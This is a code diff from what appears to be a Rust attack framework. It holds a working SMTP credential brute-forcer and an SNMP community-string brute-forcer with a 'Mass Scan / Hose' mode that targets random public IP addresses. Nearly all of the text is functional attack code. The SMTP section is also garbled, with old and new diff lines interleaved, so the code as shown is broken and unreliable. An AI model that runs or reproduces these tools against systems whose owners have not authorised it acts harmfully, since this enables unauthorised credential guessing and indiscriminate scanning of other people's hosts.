||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
},
|
||||
Ok(Ok(false)) => {
|
||||
stats_clone.record_failure();
|
||||
if config_clone.verbose {
|
||||
println!("\r{}", format!("[-] Failed: {}:{}", user_clone, pass_clone).dimmed());
|
||||
}
|
||||
},
|
||||
Ok(Err(e)) => {
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if config_clone.verbose {
|
||||
println!("\r{}", format!("[!] Error {}:{}: {}", user_clone, pass_clone, e).red());
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
stats_clone.record_error(format!("Task panic: {}", e)).await;
|
||||
}
|
||||
}
|
||||
|
||||
if config_clone.delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await;
|
||||
}
|
||||
}));
|
||||
|
||||
// Memory management: drain completed tasks
|
||||
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {}
|
||||
}
|
||||
|
||||
while let Some(_) = tasks.next().await {}
|
||||
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
stats.print_final().await;
|
||||
|
||||
// Save results
|
||||
let found = found_creds.lock().await;
|
||||
if !found.is_empty() {
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) {
|
||||
use std::io::Write;
|
||||
for (u, p) in found.iter() {
|
||||
let _ = writeln!(file, "{}:{}", u, p);
|
||||
}
|
||||
println!("[+] Results saved to {}", config.output_file);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn try_smtp_login(target: &str, port: u16, username: &str, password: &str) -> Result<bool> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(2000))?;
|
||||
stream.set_read_timeout(Some(Duration::from_millis(2000)))?;
|
||||
stream.set_write_timeout(Some(Duration::from_millis(2000)))?;
|
||||
|
||||
let mut telnet = Telnet::from_stream(Box::new(stream), 512);
|
||||
|
||||
let mut banner_ok = false;
|
||||
for _ in 0..3 {
|
||||
let event = telnet.read().context("Banner read error")?;
|
||||
let event = telnet.read().context("Banner read")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("220") { banner_ok = true; break; }
|
||||
}
|
||||
}
|
||||
if !banner_ok { return Err(anyhow::anyhow!("No 220 banner")); }
|
||||
if !banner_ok { return Err(anyhow!("No 220 banner")); }
|
||||
|
||||
telnet.write(b"EHLO scanner\r\n")?;
|
||||
|
||||
let mut login_ok = false;
|
||||
let mut plain_ok = false;
|
||||
let mut ehlo_seen = false;
|
||||
let mut buf = String::new();
|
||||
|
||||
for _ in 0..6 {
|
||||
let event = telnet.read()?;
|
||||
let event = telnet.read().context("EHLO read")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
buf.push_str(&s);
|
||||
if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; }
|
||||
if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; }
|
||||
if s.starts_with("250 ") { ehlo_seen = true; break; }
|
||||
}
|
||||
}
|
||||
if !ehlo_seen { return Ok(false); }
|
||||
|
||||
// Try AUTH PLAIN
|
||||
if plain_ok {
|
||||
let mut blob = vec![0];
|
||||
blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
|
||||
let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
|
||||
telnet.write(cmd.as_bytes())?;
|
||||
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read()?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
|
||||
if s.starts_with("535") || s.starts_with("5") { break; }
|
||||
}
|
||||
let event = telnet.read().context("Auth response")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
|
||||
if s.starts_with("535") || s.starts_with("5") { return Ok(false); }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Try AUTH LOGIN
|
||||
if login_ok {
|
||||
telnet.write(b"AUTH LOGIN\r\n")?;
|
||||
let mut expect_user = false;
|
||||
|
||||
// Wait for username prompt (334)
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read()?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("334") { expect_user = true; break; }
|
||||
}
|
||||
let event = telnet.read().context("Auth Login prompt")?;
|
||||
if let Event::Data(b) = event {
|
||||
if String::from_utf8_lossy(&b).starts_with("334") { break; }
|
||||
}
|
||||
}
|
||||
if !expect_user { return Ok(false); }
|
||||
|
||||
let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
|
||||
telnet.write(ucmd.as_bytes())?;
|
||||
let mut expect_pass = false;
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read()?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("334") { expect_pass = true; break; }
|
||||
}
|
||||
|
||||
// Wait for password prompt (334)
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read().context("Auth Pass prompt")?;
|
||||
if let Event::Data(b) = event {
|
||||
if String::from_utf8_lossy(&b).starts_with("334") { break; }
|
||||
}
|
||||
}
|
||||
if !expect_pass { return Ok(false); }
|
||||
|
||||
let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
|
||||
telnet.write(pcmd.as_bytes())?;
|
||||
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read()?;
|
||||
let event = telnet.read().context("Auth final response")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
|
||||
if s.starts_with("535") || s.starts_with("5") { break; }
|
||||
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
|
||||
if s.starts_with("535") || s.starts_with("5") { return Ok(false); }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path).context(format!("Open: {}", path))?;
|
||||
Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
|
||||
}
|
||||
|
||||
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
|
||||
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
|
||||
for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn prompt(msg: &str) -> String {
|
||||
print!("{}", msg);
|
||||
if let Err(e) = io::stdout().flush() {
|
||||
eprintln!("[!] Failed to flush stdout: {}", e);
|
||||
}
|
||||
let mut b = String::new();
|
||||
match io::stdin().read_line(&mut b) {
|
||||
Ok(_) => b.trim().to_string(),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read input: {}", e);
|
||||
String::new()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_port(default: u16) -> u16 {
|
||||
loop {
|
||||
let input = prompt(&format!("Port (default {}): ", default));
|
||||
if input.is_empty() {
|
||||
return default;
|
||||
}
|
||||
match input.parse::<u16>() {
|
||||
Ok(0) => println!("[!] Port cannot be zero. Please enter a value between 1 and 65535."),
|
||||
Ok(port) => return port,
|
||||
Err(_) => println!("[!] Invalid port. Please enter a number between 1 and 65535."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_threads(default: usize) -> usize {
|
||||
loop {
|
||||
let input = prompt(&format!("Threads (default {}): ", default));
|
||||
if input.is_empty() {
|
||||
return default.max(1);
|
||||
}
|
||||
if let Ok(value) = input.parse::<usize>() {
|
||||
if value >= 1 && value <= 1024 {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
println!("[!] Invalid thread count. Please enter a value between 1 and 1024.");
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> bool {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char));
|
||||
if input.is_empty() {
|
||||
return default_yes;
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" => return true,
|
||||
"n" | "no" => return false,
|
||||
_ => println!("[!] Please respond with y or n."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_wordlist(message: &str) -> Result<String> {
|
||||
loop {
|
||||
let response = prompt(message);
|
||||
if response.is_empty() {
|
||||
println!("[!] Path cannot be empty.");
|
||||
continue;
|
||||
}
|
||||
let trimmed = response.trim();
|
||||
if Path::new(trimmed).is_file() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("File '{}' does not exist or is not a regular file.", trimmed).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
|
||||
let t = host.trim();
|
||||
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
|
||||
let addr = cap.get(1).unwrap().as_str();
|
||||
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
|
||||
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
|
||||
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
|
||||
}
|
||||
|
||||
@@ -0,0 +1,785 @@
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
io::Write,
|
||||
net::{SocketAddr, UdpSocket, IpAddr},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, AtomicUsize, Ordering},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
|
||||
use tokio::{
|
||||
sync::Mutex,
|
||||
sync::Semaphore,
|
||||
task::spawn_blocking,
|
||||
time::sleep,
|
||||
fs::OpenOptions,
|
||||
io::AsyncWriteExt,
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const STATE_FILE: &str = "snmp_hose_state.log";
|
||||
|
||||
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
// Cloudflare
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
// Google
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n{}", "=== SNMPv1/v2c Brute Force Module ===".bold().cyan());
|
||||
println!("{}", " Community String Discovery Tool".cyan());
|
||||
println!();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// Check for Mass Scan Mode
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0"
|
||||
|| target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Standard Single-Target Logic ---
|
||||
|
||||
let default_port = 161;
|
||||
|
||||
// Check for API-provided config
|
||||
let config = crate::config::get_module_config();
|
||||
let api_mode = config.is_api_mode();
|
||||
|
||||
let port = if let Some(p) = config.port {
|
||||
p
|
||||
} else if api_mode {
|
||||
default_port
|
||||
} else {
|
||||
prompt_int_range("SNMP Port", default_port as i64, 1, 65535)? as u16
|
||||
};
|
||||
|
||||
// For SNMP, username_wordlist contains community strings
|
||||
let communities_file = if let Some(ref f) = config.username_wordlist {
|
||||
if !std::path::Path::new(f).exists() {
|
||||
return Err(anyhow!("Community wordlist not found: {}", f));
|
||||
}
|
||||
f.clone()
|
||||
} else if api_mode {
|
||||
return Err(anyhow!("Community wordlist required for API mode"));
|
||||
} else {
|
||||
prompt_existing_file("Community string wordlist file path")?
|
||||
};
|
||||
|
||||
// Custom prompt for version since it's specific
|
||||
let snmp_version = if api_mode { 1 } else { // Default to v2c in API mode
|
||||
loop {
|
||||
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
|
||||
match input.trim().to_lowercase().as_str() {
|
||||
"1" => break 0, // SNMPv1
|
||||
"2c" | "2" => break 1, // SNMPv2c
|
||||
_ => println!("Invalid version. Enter '1' or '2c'."),
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let concurrency = config.concurrency.unwrap_or_else(|| {
|
||||
if api_mode { 50 } else { prompt_int_range("Max concurrent tasks", 50, 1, 1000).unwrap_or(50) as usize }
|
||||
});
|
||||
let stop_on_success = config.stop_on_success.unwrap_or_else(|| {
|
||||
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
|
||||
});
|
||||
|
||||
// Output file handled by saving results at the end usually, but old code asked upfront.
|
||||
// I'll stick to standard flow: prompt for save at end OR automatically if specified.
|
||||
// Existing modules prompted for output file upfront. I'll do that for consistency with new standard.
|
||||
let output_file = config.output_file.clone().unwrap_or_else(|| {
|
||||
if api_mode { "snmp_results.txt".to_string() } else { prompt_default("Output file", "snmp_results.txt").unwrap_or_else(|_| "snmp_results.txt".to_string()) }
|
||||
});
|
||||
|
||||
let verbose = config.verbose.unwrap_or_else(|| {
|
||||
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
|
||||
});
|
||||
let timeout_secs = if api_mode { 3 } else {
|
||||
prompt_int_range("Timeout (seconds)", 3, 1, 300).unwrap_or(3) as u64
|
||||
};
|
||||
|
||||
let connect_addr = format!("{}:{}", normalize_target(target)?, port);
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
|
||||
println!("\n[*] Starting SNMP brute-force on {}", connect_addr);
|
||||
println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" });
|
||||
|
||||
let communities = load_lines(&communities_file)?;
|
||||
if communities.is_empty() {
|
||||
println!("[!] Community wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} community strings", communities.len()).cyan());
|
||||
println!();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let _start_time = Instant::now();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
stats_clone.print_progress();
|
||||
}
|
||||
});
|
||||
|
||||
let communities = Arc::new(communities);
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
for community in communities.iter() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let addr_clone = connect_addr.clone();
|
||||
let community_clone = community.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
let version = snmp_version;
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_snmp_community(&addr_clone, &community_clone, version, timeout).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> community: '{}'", addr_clone, community_clone).green().bold());
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), community_clone.clone()));
|
||||
stats_clone.record_success();
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_failure();
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> community: '{}'", addr_clone, community_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
// Drain
|
||||
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {}
|
||||
}
|
||||
|
||||
while let Some(_) = tasks.next().await {}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print final statistics
|
||||
stats.print_final().await;
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("{}", "[-] No valid community strings found.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid community string(s):", creds.len()).green().bold());
|
||||
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&output_file) {
|
||||
for (host, community) in creds.iter() {
|
||||
println!(" {} -> community: '{}'", host, community);
|
||||
let _ = writeln!(file, "{} -> community: '{}'", host, community);
|
||||
}
|
||||
println!("[+] Results saved to '{}'", output_file);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_snmp_community(
|
||||
normalized_addr: &str,
|
||||
community: &str,
|
||||
version: u8, // 0 = v1, 1 = v2c
|
||||
timeout: Duration,
|
||||
) -> Result<bool> {
|
||||
let community_owned = community.to_string();
|
||||
let addr_owned = normalized_addr.to_string();
|
||||
|
||||
let result = spawn_blocking(move || -> Result<bool, anyhow::Error> {
|
||||
// Parse the address
|
||||
let addr: SocketAddr = addr_owned
|
||||
.parse()
|
||||
.map_err(|e| anyhow!("Invalid address '{}': {}", addr_owned, e))?;
|
||||
|
||||
// Create UDP socket
|
||||
let socket = UdpSocket::bind("0.0.0.0:0")
|
||||
.map_err(|e| anyhow!("Failed to bind socket: {}", e))?;
|
||||
|
||||
socket
|
||||
.set_read_timeout(Some(timeout))
|
||||
.map_err(|e| anyhow!("Failed to set read timeout: {}", e))?;
|
||||
|
||||
// Build SNMP GET request manually
|
||||
// OID: 1.3.6.1.2.1.1.1.0 (sysDescr)
|
||||
let message = build_snmp_get_request(&community_owned, version);
|
||||
|
||||
// Send request
|
||||
socket
|
||||
.send_to(&message, &addr)
|
||||
.map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?;
|
||||
|
||||
// Receive response
|
||||
let mut buf = vec![0u8; 4096];
|
||||
let result: bool = match socket.recv_from(&mut buf) {
|
||||
Ok((size, _)) => {
|
||||
let response = &buf[..size];
|
||||
|
||||
// Parse SNMP response to verify it's valid
|
||||
// A valid SNMP response should:
|
||||
// 1. Start with 0x30 (SEQUENCE)
|
||||
// 2. Contain version, community, and PDU
|
||||
// 3. Have error status = 0 (noError) in the response PDU
|
||||
if size >= 20 && response[0] == 0x30 {
|
||||
// Try to parse the response to check error status
|
||||
// If we can parse it and error status is 0, it's valid
|
||||
match parse_snmp_response(response) {
|
||||
Ok(true) => true, // Valid community string
|
||||
Ok(false) => false, // Invalid community (error in response)
|
||||
Err(_) => {
|
||||
// Can't parse, but got a response - might be valid
|
||||
// Some devices send malformed responses but still indicate valid community
|
||||
true
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Malformed response - likely invalid
|
||||
false
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
// Handle timeout and EAGAIN/EWOULDBLOCK errors as invalid community
|
||||
// EAGAIN (os error 11) can occur on Linux when socket would block
|
||||
let error_kind = e.kind();
|
||||
if error_kind == std::io::ErrorKind::TimedOut
|
||||
|| error_kind == std::io::ErrorKind::WouldBlock
|
||||
|| e.raw_os_error() == Some(11) // EAGAIN on Linux
|
||||
|| e.raw_os_error() == Some(35) // EAGAIN on macOS
|
||||
{
|
||||
// Timeout or would block - community string is likely invalid
|
||||
false
|
||||
} else {
|
||||
// Other errors might be transient, but log them
|
||||
// For now, treat as invalid to avoid false positives
|
||||
false
|
||||
}
|
||||
}
|
||||
};
|
||||
Ok(result)
|
||||
})
|
||||
.await
|
||||
.map_err(|e| anyhow!("Task join error: {}", e))?;
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
/// Parses SNMP response to check if error status is 0 (noError)
|
||||
/// Returns Ok(true) if valid, Ok(false) if error status != 0, Err if can't parse
|
||||
fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
if response.len() < 20 || response[0] != 0x30 {
|
||||
return Err(anyhow!("Invalid SNMP response header"));
|
||||
}
|
||||
|
||||
// Try to find the PDU (GetResponse-PDU = 0xa2)
|
||||
// The structure is: SEQUENCE (version, community, PDU)
|
||||
// We need to skip version and community to get to the PDU
|
||||
|
||||
let mut pos = 1;
|
||||
|
||||
// Skip length of outer SEQUENCE
|
||||
if pos >= response.len() {
|
||||
return Err(anyhow!("Response too short"));
|
||||
}
|
||||
let (_len, len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += len_bytes;
|
||||
|
||||
// Skip version (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid version field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += vlen_bytes + vlen;
|
||||
|
||||
// Skip community (OCTET STRING)
|
||||
if pos >= response.len() || response[pos] != 0x04 {
|
||||
return Err(anyhow!("Invalid community field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (clen, clen_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += clen_bytes + clen;
|
||||
|
||||
// Now we should be at the PDU
|
||||
// GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0
|
||||
if pos >= response.len() {
|
||||
return Err(anyhow!("Response too short for PDU"));
|
||||
}
|
||||
|
||||
let pdu_tag = response[pos];
|
||||
if pdu_tag != 0xa2 && pdu_tag != 0xa0 {
|
||||
// Not a GetResponse or GetRequest, might be an error
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
pos += 1;
|
||||
let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += pdu_len_bytes;
|
||||
|
||||
// PDU structure: request-id, error-status, error-index, variable-bindings
|
||||
// Skip request-id (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid request-id field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += rid_len_bytes + rid_len;
|
||||
|
||||
// Read error-status (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid error-status field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (es_len, es_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
if es_len == 0 || pos + es_len_bytes + es_len > response.len() {
|
||||
return Err(anyhow!("Invalid error-status length"));
|
||||
}
|
||||
|
||||
// Read the error status value
|
||||
let error_status = if es_len == 1 {
|
||||
response[pos + es_len_bytes] as u32
|
||||
} else {
|
||||
// Multi-byte integer (shouldn't happen for error status, but handle it)
|
||||
let mut val = 0u32;
|
||||
for i in 0..es_len {
|
||||
val = (val << 8) | (response[pos + es_len_bytes + i] as u32);
|
||||
}
|
||||
val
|
||||
};
|
||||
|
||||
// Error status 0 = noError, anything else is an error
|
||||
Ok(error_status == 0)
|
||||
}
|
||||
|
||||
/// Parses BER length field
|
||||
/// Returns (length_value, number_of_bytes_consumed)
|
||||
fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
|
||||
if data.is_empty() {
|
||||
return Err(anyhow!("Empty length field"));
|
||||
}
|
||||
|
||||
let first_byte = data[0];
|
||||
|
||||
if (first_byte & 0x80) == 0 {
|
||||
// Short form: single byte
|
||||
Ok((first_byte as usize, 1))
|
||||
} else {
|
||||
// Long form: first byte indicates number of length bytes
|
||||
let num_bytes = (first_byte & 0x7F) as usize;
|
||||
if num_bytes == 0 {
|
||||
return Err(anyhow!("Indefinite length not supported"));
|
||||
}
|
||||
if num_bytes > 4 {
|
||||
return Err(anyhow!("Length field too large"));
|
||||
}
|
||||
if data.len() < 1 + num_bytes {
|
||||
return Err(anyhow!("Not enough bytes for length field"));
|
||||
}
|
||||
|
||||
let mut length = 0usize;
|
||||
for i in 0..num_bytes {
|
||||
length = (length << 8) | (data[1 + i] as usize);
|
||||
}
|
||||
|
||||
Ok((length, 1 + num_bytes))
|
||||
}
|
||||
}
|
||||
|
||||
/// Builds a simple SNMP GET request packet manually
|
||||
/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request
|
||||
fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
|
||||
// Build components first, then assemble with proper length encoding
|
||||
|
||||
// OID for sysDescr: 1.3.6.1.2.1.1.1.0
|
||||
let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]);
|
||||
let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER
|
||||
|
||||
// NULL value
|
||||
let null_tlv = vec![0x05, 0x00]; // NULL type, length 0
|
||||
|
||||
// VarBind: SEQUENCE of (OID, NULL)
|
||||
let mut var_bind = Vec::new();
|
||||
var_bind.extend_from_slice(&oid_tlv);
|
||||
var_bind.extend_from_slice(&null_tlv);
|
||||
let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE
|
||||
|
||||
// VarBindList: SEQUENCE of VarBind
|
||||
let mut var_bind_list_content = Vec::new();
|
||||
var_bind_list_content.extend_from_slice(&var_bind_tlv);
|
||||
let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE
|
||||
|
||||
// Request ID
|
||||
let request_id_tlv = encode_integer_tlv(1u32);
|
||||
|
||||
// Error status (0 = noError)
|
||||
let error_status_tlv = encode_integer_tlv(0u32);
|
||||
|
||||
// Error index (0 = noError)
|
||||
let error_index_tlv = encode_integer_tlv(0u32);
|
||||
|
||||
// PDU: GetRequest-PDU
|
||||
let mut pdu_content = Vec::new();
|
||||
pdu_content.extend_from_slice(&request_id_tlv);
|
||||
pdu_content.extend_from_slice(&error_status_tlv);
|
||||
pdu_content.extend_from_slice(&error_index_tlv);
|
||||
pdu_content.extend_from_slice(&var_bind_list_tlv);
|
||||
let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU
|
||||
|
||||
// Version
|
||||
let version_tlv = encode_integer_tlv(version as u32);
|
||||
|
||||
// Community string
|
||||
let community_bytes = community.as_bytes();
|
||||
let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING
|
||||
|
||||
// SNMP Message: SEQUENCE of (version, community, PDU)
|
||||
let mut message_content = Vec::new();
|
||||
message_content.extend_from_slice(&version_tlv);
|
||||
message_content.extend_from_slice(&community_tlv);
|
||||
message_content.extend_from_slice(&pdu_tlv);
|
||||
let message = build_tlv(0x30, &message_content); // 0x30 = SEQUENCE
|
||||
|
||||
message
|
||||
}
|
||||
|
||||
/// Builds a TLV (Type-Length-Value) structure
|
||||
fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
|
||||
let mut result = Vec::new();
|
||||
result.push(tag);
|
||||
|
||||
let length = value.len();
|
||||
if length < 128 {
|
||||
// Short form: single byte length
|
||||
result.push(length as u8);
|
||||
} else {
|
||||
// Long form: first byte is 0x80 | num_bytes, followed by length bytes (big-endian)
|
||||
// Calculate how many bytes we need for the length
|
||||
let mut len = length;
|
||||
let mut num_bytes = 0;
|
||||
